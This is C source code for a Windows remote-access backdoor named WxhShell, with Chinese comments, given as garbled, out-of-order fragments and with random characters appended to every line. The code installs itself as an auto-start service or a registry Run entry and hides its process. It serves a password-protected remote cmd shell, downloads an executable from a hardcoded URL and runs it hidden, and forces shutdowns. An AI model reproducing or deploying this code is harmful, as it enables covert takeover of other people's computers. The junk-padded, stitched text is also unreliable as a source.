    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o%]b\Vl6  
    if(Boot(SHUTDOWN)) j y p.2c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8j&1qJx)  
    else { mrE> o !  
    closesocket(wsh); uKIR$n"  
    ExitThread(0); iN u k5  
    } x51p'bNy  
    break; !&KE">3Qu  
    } 65 &+Fv  
  // 获取shell }VH` \g}  
  case 's': { = "Lb5!  
    CmdShell(wsh); Jn?ZJZ  
    closesocket(wsh); P6^\*xkMr  
    ExitThread(0); ='eQh\T)  
    break; wjID*s[  
  } [e.`M{(TB  
  // 退出 2+(SR.oGq  
  case 'x': { fEK%)Z:0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =1B;<aZH!  
    CloseIt(wsh); v%c--cO(S4  
    break; ]a~gnz&1  
    } "NSY=)fV  
  // 离开 0R+<^6^l)  
  case 'q': { I%{D5.du  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g ?% ]()E  
    closesocket(wsh); EJ:2]!O  
    WSACleanup(); czo*_q%  
    exit(1); k lr1"q7  
    break; ^?0WE   
        } y3'K+?4  
  } A:sP%c;  
  } v'y<}U  
zq^eL=%:  
  // 提示信息 OOus*ooo2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !Cm9DzG  
} n)]u|qq  
  } ug`Jn&x!  
x2]chN  
  return; jA%R8hdr_  
} .YS48 c  
8`b_,(\N  
// shell模块句柄 _ =O;Lz$x  
int CmdShell(SOCKET sock) :bp8S@  
{ bb`DyUy ^+  
STARTUPINFO si; QN~9O^  
ZeroMemory(&si,sizeof(si)); -Ze2]^#dl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -S $Y0FDV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )Oj%3  
PROCESS_INFORMATION ProcessInfo; pEGHW;  
char cmdline[]="cmd"; ^zS|O]Tx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Bd13p_V"6  
  return 0; x5W@zqj  
} RjR  
r<kqs,-~  
// 自身启动模式 ~rz%TDX0\  
int StartFromService(void) \9.@T g8`  
{ v.H@Ey2  
typedef struct hKK"D:?PRs  
{ `Yu4h+T  
  DWORD ExitStatus; 8bEii1EM  
  DWORD PebBaseAddress; =G/`r!r*0I  
  DWORD AffinityMask; AUkePp78  
  DWORD BasePriority; ,?!4P+ob  
  ULONG UniqueProcessId; G-T2b,J [  
  ULONG InheritedFromUniqueProcessId; uchz<z1  
}   PROCESS_BASIC_INFORMATION;  A,|lDsvM  
]M9r<x*  
PROCNTQSIP NtQueryInformationProcess; ^pa -2Ao6  
{B6tGLt#bf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |S VL%agZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]u O|YLWp  
FHu+dZ  
  HANDLE             hProcess; OOX}S1lA  
  PROCESS_BASIC_INFORMATION pbi; Jro%zZle  
*[['X%f  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {BJn9B  
  if(NULL == hInst ) return 0; 7(= 09z  
|/35c0IM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); };;6706a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {5gh.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0NG<uZ  
::rKW *?  
  if (!NtQueryInformationProcess) return 0; $5/lU }To  
zz+[]G+"2m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sv?Lk4_  
  if(!hProcess) return 0; ;v1&Rs  
onAC;<w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :s OsG&y  
U*6)/.J  
  CloseHandle(hProcess); G+xdh  
P ".[=h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ueazAsk3g  
if(hProcess==NULL) return 0; 5}t}Wc8  
m2"~.iM8  
HMODULE hMod; :Vf:_;  
char procName[255]; As7Y4w*+  
unsigned long cbNeeded; IvyBK]{|  
/Z*XKIU6v/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Bzw!,(u/ "  
36U z fBa  
  CloseHandle(hProcess); )tyhf(p6  
-q.tU*xf'  
if(strstr(procName,"services")) return 1; // 以服务启动 %kJ_o*"  
AG$S;)Yl9c  
  return 0; // 注册表启动 ,!s;o6|*y  
} "NamP\hj  
X_eh+>D  
// 主模块 vA*Ud;%R  
int StartWxhshell(LPSTR lpCmdLine) BM&.Tw|x  
{ Je#vl4<L  
  SOCKET wsl; 26,!HmtC  
BOOL val=TRUE; .;0?r9  
  int port=0; ,5_Hen=PI  
  struct sockaddr_in door; iwl\&uNQU  
Wa {>R2h\  
  if(wscfg.ws_autoins) Install(); n%>c4*t  
<"g ^V  
port=atoi(lpCmdLine); !kl9X-IiI  
I'h6!N"  
if(port<=0) port=wscfg.ws_port; Fx.hti  
y-TS?5Dr]  
  WSADATA data; ^f -?xXPx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u2SnL$A7  
,3t('SE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q}a 1P8?S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,&;#$ b5  
  door.sin_family = AF_INET; yE(>R(^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?X1vU0 c  
  door.sin_port = htons(port); YI=03}I  
Z)6gh{B08  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,iXE3TN;W  
closesocket(wsl); lH6zZ8rh  
return 1; ckXJ9>  
} uM\(#jZ  
"(6]K}k@  
  if(listen(wsl,2) == INVALID_SOCKET) { _yq"F#,*  
closesocket(wsl); 'J (4arN  
return 1; W 2VH?-Gw  
} 2t3'"8xJ  
  Wxhshell(wsl); %t&5o>1C  
  WSACleanup(); $d4^e&s  
uUUj?%  
return 0; O Xy>Tlv  
85rXm*Df  
} }LDH/# u  
t{\FV@R  
// 以NT服务方式启动 _cqB p7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f?wn;;z`  
{ )1%l$W  
DWORD   status = 0; 'k=GSb  
  DWORD   specificError = 0xfffffff; YN1P9j#0d  
 )_P|_(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eeX^zaKl]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x:W nF62  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (|_1ku3!  
  serviceStatus.dwWin32ExitCode     = 0; TFbMrIF  
  serviceStatus.dwServiceSpecificExitCode = 0; jTbJL  
  serviceStatus.dwCheckPoint       = 0; S}Wj+H;  
  serviceStatus.dwWaitHint       = 0; ;/$=!9^sZ  
=W(mZ#*vdY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TAbd[:2{F  
  if (hServiceStatusHandle==0) return; isaDIl;L/  
RF/I*5  
status = GetLastError(); H#IJ&w|  
  if (status!=NO_ERROR) " (c#H  
{ (0jT#&#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8X":,s!  
    serviceStatus.dwCheckPoint       = 0; T8& kxp  
    serviceStatus.dwWaitHint       = 0; }W{rDc kv  
    serviceStatus.dwWin32ExitCode     = status; aqq7u5O1r  
    serviceStatus.dwServiceSpecificExitCode = specificError; V!#+Ti/w4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @= f2\hU  
    return; >p4#AfGF  
  } o2e aSG  
X{A|{u=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gUf-1#g4\`  
  serviceStatus.dwCheckPoint       = 0; Mg? ^5`*  
  serviceStatus.dwWaitHint       = 0; cd1M0z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +uMOT#KjR  
} } %_h|N  
*I)o Dq3  
// 处理NT服务事件,比如:启动、停止 qgd#BJ=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *-~B{2b<  
{ yyke"D  
switch(fdwControl) pI2g\cH>  
{ gqR?hZD  
case SERVICE_CONTROL_STOP: 7=yC*]BH-=  
  serviceStatus.dwWin32ExitCode = 0; H Myw:?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .#zmX\a  
  serviceStatus.dwCheckPoint   = 0;  PZZTRgVc  
  serviceStatus.dwWaitHint     = 0; /fCj;8T3o  
  { 1:]iV}OFqR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e;KZTH;  
  } 2 2K:[K  
  return; 7Io]2)V  
case SERVICE_CONTROL_PAUSE: ]m} <0-0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B0Ql1x#x  
  break; Q+(}nz4  
case SERVICE_CONTROL_CONTINUE: | k"?I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E- ,/@4k  
  break; \DsP '-t  
case SERVICE_CONTROL_INTERROGATE: '"C$E922  
  break; _,V 9^  
}; [ iE%P^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^c?2n  
} ]O Nf;RH  
5:(uD3]  
// 标准应用程序主函数 b e[KNrO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :G$f)NMK  
{ s)Bl1\Q  
<4,hrx&.  
// 获取操作系统版本 fD1J@57  
OsIsNt=GetOsVer(); Mx<V;GPm  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k.nq,  
 y/t{*a  
  // 从命令行安装 dL%?k@R  
  if(strpbrk(lpCmdLine,"iI")) Install(); IQ_2(8Kv  
,$irJz F  
  // 下载执行文件 LGx]z.30B  
if(wscfg.ws_downexe) { sE87}Lz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8>" vAEf  
  WinExec(wscfg.ws_filenam,SW_HIDE); *FoH '\=  
} $$7Mq*a>  
b#;%TbDF  
if(!OsIsNt) { ^2-2Jz@  
// 如果时win9x,隐藏进程并且设置为注册表启动 wc7gOrPpm  
HideProc(); *?'nA{a)E  
StartWxhshell(lpCmdLine); w"Gci~]bXU  
} B"rV-,n{  
else 8,\toT7  
  if(StartFromService()) YTH3t] &  
  // 以服务方式启动 -#Xo^-&  
  StartServiceCtrlDispatcher(DispatchTable); b77Iw%x7  
else c#'t][Ii  
  // 普通方式启动 'p3JYRT$  
  StartWxhshell(lpCmdLine); \"!Fw)wj  
!#l>+9  
return 0; &%M!!28X:  
} P|,@En 1!  
= GUgb2TAT  
3^m0 k E  
ph*?y  
=========================================== Zpfsh2`  
;Fw{p{7<  
pVgzUu7  
] %A mX-U  
3[mVPV  
~qFuS933  
" e}%~S9\UL5  
RsnK B /  
#include <stdio.h> | Q0Wv8/  
#include <string.h> X>}-UHKV+  
#include <windows.h> D#VUx9kugv  
#include <winsock2.h> NDsF<2A4  
#include <winsvc.h> \NE~k)`4j%  
#include <urlmon.h> u-v/`F2wN  
4%k{vo5i  
#pragma comment (lib, "Ws2_32.lib") x-0O3IIE  
#pragma comment (lib, "urlmon.lib") p6)Jzh_/  
Y3%_IwSJ|  
#define MAX_USER   100 // 最大客户端连接数 f]c{,LFvZ  
#define BUF_SOCK   200 // sock buffer < cNJrer  
#define KEY_BUFF   255 // 输入 buffer 7$"{&T  
6"@`iY  
#define REBOOT     0   // 重启 3a|I| NP  
#define SHUTDOWN   1   // 关机 gJ \CT'/  
e`]x?t<U4/  
#define DEF_PORT   5000 // 监听端口 l Vb{bO9-O  
2c)Ez?  
#define REG_LEN     16   // 注册表键长度 {|!> {  
#define SVC_LEN     80   // NT服务名长度 PBkTI2 v  
EA# {N<  
// 从dll定义API '!\t!@I$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $, I%g<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8.`*O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  m$XMq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t3P$UR%  
Y6+/_$N4|  
// wxhshell配置信息 <m"fzT<"  
struct WSCFG { _bsAF^ ;  
  int ws_port;         // 监听端口 3UR'*5|'  
  char ws_passstr[REG_LEN]; // 口令 $[S)A0O  
  int ws_autoins;       // 安装标记, 1=yes 0=no SN#Cnu}  
  char ws_regname[REG_LEN]; // 注册表键名 pB(|Y]3A  
  char ws_svcname[REG_LEN]; // 服务名 l&JV.}qGB8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c_~tCKAZ   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z;'5A2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5MX7V4ist  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =Z /*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x<Ac\Cx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _keI0ML-#  
u{J\X$]  
}; }uFV\1  
eeVzOq(  
// default Wxhshell configuration j|-{*t{/x  
struct WSCFG wscfg={DEF_PORT, 5K#<VU*:  
    "xuhuanlingzhe", R+&{lc  
    1, ]H-5    
    "Wxhshell", pr w% )#,  
    "Wxhshell", ]39])ul  
            "WxhShell Service", KFhnv`a.0  
    "Wrsky Windows CmdShell Service", 7W.z8>p  
    "Please Input Your Password: ", K3;~|U-l  
  1, Ewq7oq5:  
  "http://www.wrsky.com/wxhshell.exe", N2uTWT>  
  "Wxhshell.exe" E0t%]?1  
    };  ?QRoSQ6  
eW\C@>Ke  
// 消息定义模块 -Pp =)_O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iezY+`x4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; pP)> x*1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rD!UP1Nb  
char *msg_ws_ext="\n\rExit."; u OB`A-K  
char *msg_ws_end="\n\rQuit."; l\6.f_  
char *msg_ws_boot="\n\rReboot..."; yD yMI  
char *msg_ws_poff="\n\rShutdown..."; ;s^F:O  
char *msg_ws_down="\n\rSave to "; N"Cd{3  
fO{'$?K  
char *msg_ws_err="\n\rErr!"; [P3 Z"&  
char *msg_ws_ok="\n\rOK!"; }>yQ!3/i  
Q`HG_n@?  
char ExeFile[MAX_PATH]; 1Q!^%{Y;  
int nUser = 0; jmr1e).];  
HANDLE handles[MAX_USER]; 9xRor<  
int OsIsNt; A 6j>KTU  
um=qT)/D  
SERVICE_STATUS       serviceStatus; }&Ul(HR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^K?Mq1"Db  
h,x'-]q  
// 函数声明 !glGW[r/7  
int Install(void); +GlG.6  
int Uninstall(void); ;@/vKA3l.  
int DownloadFile(char *sURL, SOCKET wsh); pIgjo>K  
int Boot(int flag); E>&oe&`o'  
void HideProc(void); p K hV<MFB  
int GetOsVer(void); ^~DClZ  
int Wxhshell(SOCKET wsl); :rnj>U6<>  
void TalkWithClient(void *cs); wh#x`Nc  
int CmdShell(SOCKET sock); icXeB_&cS  
int StartFromService(void); e$4$G<8;y  
int StartWxhshell(LPSTR lpCmdLine); Nrfj[I  
E-b3#\^:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e"]DIy4s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e) kVS}e?  
*6QmYq6c<  
// 数据结构和表定义 xf 4`+[  
SERVICE_TABLE_ENTRY DispatchTable[] = 1J[|Ow  
{ (E<QA  
{wscfg.ws_svcname, NTServiceMain}, ?T7ndXX  
{NULL, NULL} y R_x:,|g  
}; `t Zw(Z=h  
zf?U q  
// 自我安装 k-|b{QZ8!;  
int Install(void) iNEE2BPp  
{ #RVN 7-x  
  char svExeFile[MAX_PATH]; >@i {8AD  
  HKEY key; ">'`{mXew  
  strcpy(svExeFile,ExeFile); 0|OmQ\SQ  
tN&_f==e  
// 如果是win9x系统,修改注册表设为自启动 #_4JTGJ  
if(!OsIsNt) { lArDOFl]x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f}? q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ca?;!~%zA  
  RegCloseKey(key); 6^v HFJ$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cl'3I%$8K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XE.Y?{,R$  
  RegCloseKey(key); :yE7jXB  
  return 0; h$I 2T  
    } i~;Yrc%AEX  
  } #hP&;HZ2>"  
} Bw8&Amxx:  
else { %N0cp@Vz  
DgRA\[c  
// 如果是NT以上系统,安装为系统服务 =d`/BDD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -8D$[@y(  
if (schSCManager!=0) D_-<V,3t  
{  4xnM7t\  
  SC_HANDLE schService = CreateService :}}~ $$&  
  ( 4&/m>%r  
  schSCManager, HA::(cXL  
  wscfg.ws_svcname, >2@ a\  
  wscfg.ws_svcdisp, 3FpSo+  
  SERVICE_ALL_ACCESS, =EdLffU[J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `o,D[Jd  
  SERVICE_AUTO_START, aIW W[xZ  
  SERVICE_ERROR_NORMAL, YMTB4|{  
  svExeFile, a~"<lzu|$  
  NULL, 4.}J'3 .  
  NULL, >5+]~[S  
  NULL, _$YT*o@0J  
  NULL, -|&5aH]  
  NULL ]eD5It\  
  ); 7d"gRM;  
  if (schService!=0) K^fH:pV  
  { rP7~ R  
  CloseServiceHandle(schService); N>'|fNx]  
  CloseServiceHandle(schSCManager); 5Sfz0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s0bWg$  
  strcat(svExeFile,wscfg.ws_svcname); ~76qFZe-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <4QOjW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E ^<.;  
  RegCloseKey(key); 6fr@y=s2:  
  return 0; WG?;Z  
    } Lp}>WCams  
  } mFu0$N6]H  
  CloseServiceHandle(schSCManager); T6=q[LpsKN  
} PK7 kpC  
} nax(V  
4:S?m(ah/  
return 1; =fZMute  
} pHkhs{/X  
S0uEz;cE  
// 自我卸载 ( @y te  
int Uninstall(void) :Kt'Fm,s?  
{ qq1@v0  
  HKEY key; 6xsB#v*  
pg;y\}  
if(!OsIsNt) { js#72T/_n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z(=U ZI?  
  RegDeleteValue(key,wscfg.ws_regname); WMw]W&  
  RegCloseKey(key); K@UQ O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _~_E(rTn  
  RegDeleteValue(key,wscfg.ws_regname); vQiKpO*  
  RegCloseKey(key); g.re`m|Aj  
  return 0; PfKF!/c B  
  } !=w&=O0(  
} ILQB%0!  
} ]J%p&y+6  
else {  #mDeA>b  
%tRQK$]c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u{_jweZ  
if (schSCManager!=0) uK5&HdoM  
{ 2UF ,W]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :Vyr8+]  
  if (schService!=0)  c>(`X@KL  
  { XW*,Lo5>H\  
  if(DeleteService(schService)!=0) { apxY2oE&  
  CloseServiceHandle(schService); >){"x(4`  
  CloseServiceHandle(schSCManager); g;Lk 'Ky6  
  return 0; s^n}m#T  
  } _FRwaFVJ3  
  CloseServiceHandle(schService); | <q9Ee  
  } V#Px  
  CloseServiceHandle(schSCManager); P e\AH  
} > (.V(]{3y  
} |QI FtdU5T  
2unaK<1s  
return 1; ~fDMzOd  
} 6_s_2cr  
~baVS-v  
// 从指定url下载文件 y[W<vb+F  
int DownloadFile(char *sURL, SOCKET wsh) W_##8[r(?  
{ EMV<PshW=  
  HRESULT hr; <r{M(yZ?@  
char seps[]= "/"; YR{%p Zp  
char *token; R6N+c\W  
char *file; 2'38(wXn#  
char myURL[MAX_PATH]; 45u\v2,C3  
char myFILE[MAX_PATH]; z`^DQ8+\j  
kYVn4Wq  
strcpy(myURL,sURL); .5;Xd?  
  token=strtok(myURL,seps); R>ak 3Y  
  while(token!=NULL) GomTec9.  
  { ):Vzv  
    file=token; huu v`$~y  
  token=strtok(NULL,seps); QBNnvg4v  
  } wQ4IQ!  
/-.i=o]b  
GetCurrentDirectory(MAX_PATH,myFILE); I.M@we/bR}  
strcat(myFILE, "\\"); lDQ'  
strcat(myFILE, file); }[[  
  send(wsh,myFILE,strlen(myFILE),0); Gl1Qbd0  
send(wsh,"...",3,0); RcASFBNpS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~1NK@=7T  
  if(hr==S_OK) v[aFSXGj)  
return 0; Z=B6fu*  
else '%u7XuU-]  
return 1; ^st.bzg+[  
wz,T7L  
} R3G+tE/Y  
wc3OOyP@0  
// 系统电源模块 b;N[_2  
int Boot(int flag) jAa{;p"jU  
{ ha;Xali ]  
  HANDLE hToken; &nc 0stuL  
  TOKEN_PRIVILEGES tkp; Q Eh_2  
nPW?DbH +  
  if(OsIsNt) { JH%^FF2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B]`!L/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a w0;  
    tkp.PrivilegeCount = 1; IZ$7'Mo86  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9(9+h]h+3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U5 `h  
if(flag==REBOOT) { )YDuq(g&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BEQ$p) h  
  return 0; 2 kOFyD  
} Nh I&wl  
else { +0w~Skd,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K+0&~XU  
  return 0; 2(-J9y|  
} "l-L-sc,  
  } @} nI$x.  
  else { E&\dr;{7  
if(flag==REBOOT) { wD|3Czc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -8L 22t  
  return 0; v^Eg ,&(  
} %idn7STJ}  
else { cTA8F"UGD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vy ME  
  return 0; O'6zV"<P  
} w/8`]q  
} z7[TgL7  
+d[A'&"  
return 1; ]s*Fs]1+H  
} HF9\SVR B  
}Yi)r*LI3  
// win9x进程隐藏模块 6GxQ<  
void HideProc(void) AN!MFsk  
{ S?X2MX  
hEO#uAR^Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y8Q96zi  
  if ( hKernel != NULL ) }PZz(Ms  
  { 'bH',X8gF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $jt  UQ1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1E(~x;*)  
    FreeLibrary(hKernel); <@B zF0  
  } -mSiZ  
u N%RB$G  
return; wzw`9^B  
} x.V6C0|6"  
h)%}O.ueB  
// 获取操作系统版本 kmJ {(y)w  
int GetOsVer(void) pNOVyyo>BW  
{ Mo+ mO&B  
  OSVERSIONINFO winfo; OL,3Jh% x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M7Pvc%\)  
  GetVersionEx(&winfo); mhp&; Q9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3pxm0|  
  return 1; #z|\AmZ\  
  else DVu_KT[Hd  
  return 0; !i0jk,[B=  
} ~|j:xM(i  
t@GPB]3[  
// 客户端句柄模块 GCxtWFXH  
int Wxhshell(SOCKET wsl) ]J^ 9iDTTA  
{ eqt+EiH   
  SOCKET wsh; DRldRm/  
  struct sockaddr_in client; &G5=?ub  
  DWORD myID; ap;tggi(H  
zNE"5  
  while(nUser<MAX_USER) Cdjh/+!f  
{ u-W6 hZ$  
  int nSize=sizeof(client); H].G%,2'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <1(:W[M  
  if(wsh==INVALID_SOCKET) return 1; 32_{nLV$[  
.xtjB8gc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )7mX]@  
if(handles[nUser]==0) 39;Z+s";  
  closesocket(wsh); S- Mh0o"  
else lFWN [`H  
  nUser++; =<-tD<  
  } @MfuV4*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &"dT/5}6  
myT z  
  return 0; "ei*iUBN:  
} "7R"(.~>  
G Q&9b_  
// 关闭 socket 8uyUvSB  
void CloseIt(SOCKET wsh) &tFVW[(  
{ {mPalo A  
closesocket(wsh); [Rh[Z# 6  
nUser--; dw)SF,  
ExitThread(0); tt=?*n  
} R9SJ;TsE  
9X8{"J  
// 客户端请求句柄 L&1VPli  
void TalkWithClient(void *cs) DXlP (={*  
{ ~mc7O  
$'3`$   
  SOCKET wsh=(SOCKET)cs; }$W4aG*[  
  char pwd[SVC_LEN]; kBY54pl  
  char cmd[KEY_BUFF]; ?PNG@OK  
char chr[1]; = GirUW D  
int i,j; Wvl>iHB  
nu,#y"WQ  
  while (nUser < MAX_USER) { qkC+9Sk  
v\*43RL  
if(wscfg.ws_passstr) { VOBzB]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YV*s1 t/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @Md%gEh;&  
  //ZeroMemory(pwd,KEY_BUFF); {aI8p}T  
      i=0; -ea>}S  
  while(i<SVC_LEN) { @SA*7[?P  
uhL+bj+W  
  // 设置超时 Efi@hdEV  
  fd_set FdRead; THirh6  
  struct timeval TimeOut; ;crQ7}k  
  FD_ZERO(&FdRead); PL/as3O^A  
  FD_SET(wsh,&FdRead); 3vPb}  
  TimeOut.tv_sec=8; 8YC\Bw  
  TimeOut.tv_usec=0; WO W4c&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "bAkS}(hB(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @-bX[}.  
/5 Wy) -  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x[7jm"Pz  
  pwd=chr[0]; cZKK\hf<  
  if(chr[0]==0xd || chr[0]==0xa) { brJ _q0@  
  pwd=0; g\&[;v i  
  break; FX7=81**4  
  } !b0'd'xe  
  i++; DGr{x}Kq  
    } mD-qJ6AM  
J@Eqqyf"  
  // 如果是非法用户,关闭 socket $5y%\A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w#eD5y~'oo  
} p+U}oC  
ZzLmsTtzIu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n'=-bj`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *@=in7*c  
7P O3{I  
while(1) { Gwxx W   
{~>?%]tf  
  ZeroMemory(cmd,KEY_BUFF); xc[@lr  
xRYL{+  
      // 自动支持客户端 telnet标准   )ALPMmlRs  
  j=0; zu'Uau  
  while(j<KEY_BUFF) { aYr?J Ol  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \bqIe}3V7  
  cmd[j]=chr[0]; 1C\OL!@L  
  if(chr[0]==0xa || chr[0]==0xd) { Htn=h~U`z  
  cmd[j]=0; G\G TS}u[  
  break; n"8vlNeW  
  } :@)UI,  
  j++; R;&C6S  
    } 7l> |G,[c  
Jm$. $B&I  
  // 下载文件 N&7= hni  
  if(strstr(cmd,"http://")) { BDSZ'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fyPpzA0  
  if(DownloadFile(cmd,wsh)) 3Yf&F([t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SLp &_S@4  
  else \Zz"%i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W[BZ/   
  } j78WPG  
  else { q`z/ S>  
*,<A[XP  
